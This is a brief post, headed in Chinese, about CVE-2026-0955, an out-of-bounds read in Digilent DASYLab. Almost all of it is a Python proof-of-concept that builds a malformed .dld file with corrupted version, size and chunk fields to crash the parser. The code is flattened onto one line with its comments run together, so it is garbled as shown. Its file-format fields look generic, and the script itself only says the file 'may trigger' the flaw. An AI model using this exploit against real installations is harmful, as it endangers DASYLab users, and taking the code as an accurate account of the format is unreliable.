CVE-2026-0955: Digilent DASYLab越界读取内存损坏漏洞

# CVE-2026-0955 PoC - Digilent DASYLab Out-of-Bounds Read # Generate malicious DASYLab file to trigger OOB read import struct def create_malicious_dasylab_file(filename): """Generate a malformed DASYLab file to trigger out-of-bounds read""" # DASYLab file header structure header = bytearray() # File signature (DASYLab format identifier) header.extend(b'DASYLAB') # Version field - corrupted to trigger parsing error header.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid version # File size field - manipulated to cause OOB read header.extend(struct.pack('<I', 0x00000001)) # Unusually small # Chunk count - excessive to overflow internal counters header.extend(struct.pack('<I', 0x7FFFFFFF)) # Create malformed data chunks data_chunks = bytearray() for i in range(100): # Corrupted chunk header chunk_type = b'\x00' * 4 chunk_size = struct.pack('<I', 0xFFFFFFFF) # Invalid size data_chunks.extend(chunk_type + chunk_size) # Malformed chunk data with invalid pointers malformed_data = b'\x41' * 1000 data_chunks.extend(malformed_data) # EOF marker corruption header.extend(b'\xFF\xFF\xFF\xFF') # Combine header and data malicious_file = header + data_chunks with open(filename, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious DASYLab file created: {filename}") print(f"[+] File size: {len(malicious_file)} bytes") print(f"[!] This file may trigger OOB read in vulnerable versions") if __name__ == "__main__": create_malicious_dasylab_file("CVE-2026-0955.malformed.dld")